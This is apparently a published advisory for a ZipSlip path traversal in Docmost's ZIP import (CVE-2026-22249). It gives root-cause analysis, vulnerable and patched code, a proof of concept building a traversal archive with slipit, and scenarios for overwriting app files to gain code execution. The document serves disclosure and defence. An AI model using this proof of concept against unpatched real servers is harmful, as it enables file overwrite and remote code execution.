CVE-2026-22249 - Arbitrary File Write via Zip Import Feature (ZipSlip) in Docmost
Overview
Docmost, an open-source collaborative documentation platform, is vulnerable to arbitrary file write through its ZIP import feature. Versions greater than v0.21.0 and below v0.24.0 are affected by this vulnerability. The issue stems from insufficient validation of filenames during ZIP extraction, allowing attackers to write files to arbitrary locations on the filesystem through path traversal. Successful exploitation can lead to application denial of service or remote code execution. The vulnerability was patched in version v0.24.0.
Root Cause Analysis
Docmost is written in TypeScript using Node.js and the yauzl library for ZIP file extraction.
Entry Point - ZIP Import Feature
The application provides a ZIP import functionality that allows authenticated users to upload and extract ZIP archives containing documentation files.
Vulnerable Code
File: apps/server/src/integrations/import/utils/file.utils.ts
Function: extractZipInternal()
Lines: 109-118 (v0.23.0)
// Normal extraction
zipfile.readEntry();
zipfile.on('entry', (entry) => {
const name = entry.fileName.toString('utf8'); # <-- [1]
const safe = name.replace(/^\/+/, ''); # <-- [2]
if (safe.startsWith('__MACOSX/')) {
zipfile.readEntry();
return;
}
const fullPath = path.join(target, safe); # <-- [3] VULNERABLE
// Handle directories
if (/\/$/.test(name)) {
try {
fs.mkdirSync(fullPath, { recursive: true }); # <-- [4]
Critical Code Flow Analysis
Line 109: Entry point - ZIP file entries are processed in a loop
Line 110 [1]: Extract filename from ZIP entry without validation
const name = entry.fileName.toString('utf8');
The filename is decoded from UTF-8, but no validation is performed on the decoded string.
Line 111 [2]: Insufficient sanitization - only removes leading slashes
const safe = name.replace(/^\/+/, '');
This operation:
- ✓ Removes leading forward slashes (
/) - ✗ Does NOT validate or sanitize path traversal sequences (
../) - ✗ Does NOT prevent absolute paths on Windows (
C:\) - ✗ Does NOT check for special directory references
Line 118 [3]: Vulnerable path construction
const fullPath = path.join(target, safe);
The path.join() function:
- Combines the target directory with the “sanitized” filename
- Does NOT prevent path traversal - it simply concatenates paths
- Example:
path.join('/app/uploads', '../../tmp/evil.js')→/app/tmp/evil.js
Line 123 [4]: File system write with traversed path
fs.mkdirSync(fullPath, { recursive: true });
Files are written to the calculated path without verifying it’s within the intended directory.
Vulnerability Root Cause
The fundamental flaw is the absence of canonical path validation after path construction. The code assumes that:
- Removing leading slashes is sufficient sanitization
path.join()will prevent path traversal (it doesn’t)- The ZIP library (
yauzl) validates filenames (it doesn’t by default)
Attack Vector Demonstration
Malicious ZIP Entry:
Filename: ../../../../../../tmp/poc.txt
Content: pwn
Code Execution Flow:
// [1] Extract filename
name = "../../../../../../tmp/poc.txt"
// [2] "Sanitization" (ineffective)
safe = "../../../../../../tmp/poc.txt" // No leading slash, so nothing removed
// [3] Path construction
target = "/app/uploads/workspace-123"
fullPath = path.join(target, safe)
// Result: "/app/uploads/workspace-123/../../../../../../tmp/poc.txt"
// Resolved: "/tmp/poc.txt" <-- Escaped target directory!
// [4] File write
fs.createWriteStream("/tmp/poc.txt") // Arbitrary file write achieved
The Fix (v0.24.0)
File: apps/server/src/integrations/import/utils/file.utils.ts
Lines: 112-127 (main branch)
zipfile.on('entry', (entry) => {
const name = entry.fileName.toString('utf8');
const safe = name.replace(/^\/+/, '');
const validationError = yauzl.validateFileName(safe); # <-- [NEW]
if (validationError) {
console.warn(`Skipping invalid entry (${validationError})`);
zipfile.readEntry();
return;
}
if (safe.startsWith('__MACOSX/')) {
zipfile.readEntry();
return;
}
const fullPath = path.join(target, safe);
const resolved = path.resolve(fullPath); # <-- [NEW]
const targetResolved = path.resolve(target); # <-- [NEW]
if (!resolved.startsWith(targetResolved + path.sep)) { # <-- [NEW]
console.warn(`Skipping entry (path outside target): ${safe}`);
zipfile.readEntry();
return;
}
Fixes Applied:
yauzl.validateFileName(safe): Uses library’s built-in validationpath.resolve(fullPath): Resolves to canonical absolute path!resolved.startsWith(targetResolved + path.sep): Ensures resolved path is within target directory
Proof of Concept
Step 1: Create Malicious ZIP Archive
# Create legitimate file
$ echo 'Hello World' > ZIPSLIP.md
# Create malicious payload
$ echo pwn > poc.txt
# Create initial ZIP
$ zip zipslip.zip ZIPSLIP.md
# Use slipit tool to add path traversal payload
$ uvx slipit --archive-type zip --prefix tmp --separator / zipslip.zip poc.txt
# Verify the malicious archive structure
$ unzip -l zipslip.zip
Archive: zipslip.zip
Length Date Time Name
--------- ---------- ----- ----
12 2025-10-23 14:53 ZIPSLIP.md
4 2025-10-23 14:55 ../../../../../../tmp/poc.txt
--------- -------
16 2 files
Step 2: Upload via ZIP Import Interface
- Navigate to Docmost import feature
- Upload the crafted
zipslip.zipfile - Application extracts the archive without validating filenames
Step 3: Verify Arbitrary File Write
# Verify file was written outside intended directory
$ docker exec -it docmost ls -al /tmp/
total 16
drwxrwxrwt 1 root root 4096 Oct 23 12:03 .
drwxr-xr-x 1 root root 4096 Oct 23 12:02 ..
-rw-r--r-- 1 node node 4 Oct 23 12:03 poc.txt
# Read the malicious file
$ docker exec -it docmost cat /tmp/poc.txt
pwn
Result: File poc.txt was written to /tmp/ instead of the intended upload directory /app/uploads/workspace-123/.
Impact Scenarios
Scenario 1: Application Denial of Service
Malicious filename: ../../../../../../app/src/server.ts
Effect: Overwrites main application file, crashing the entire service
Scenario 2: Remote Code Execution
Malicious filename: ../../../../../../app/src/malicious.js
+ Overwrite: ../../../../../../app/package.json (to require malicious.js)
Effect: Achieves code execution when application restarts or module is loaded
Disclosure Timeline
- 2025-10-23: Vulnerability discovered by @RamadhanAmizudin
- 2026-01-15: Security advisory published (GHSA-54pm-hqxm-54wg)
- CVE-2026-22249: Assigned
- v0.24.0: Patched version released
References
- GHSA-54pm-hqxm-54wg
- CVE-2026-22249
- CVSS Score: 7.1 (High)
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
Notes
Disclosure: This advisory was generated by using AI assistance (Claude Sonnet 4.5) based on the official security advisory GHSA-54pm-hqxm-54wg and actual source code from the Docmost repository.
The prompt:
write advisory for this issue https://github.com/docmost/docmost/security/advisories/GHSA-54pm-hqxm-54wg
Context: Write a root cause analysis in markdown using the same style as this blog post
https://rz.my/2024/06/cve-2023-51803-arbitrary-file-upload-in-linuxserverio-heimdall.html
Requirements:
- Remove remediation section
- Remove common mistake from root cause
- Add real root cause analysis (examine original code before patched version)
- Add patched version in overview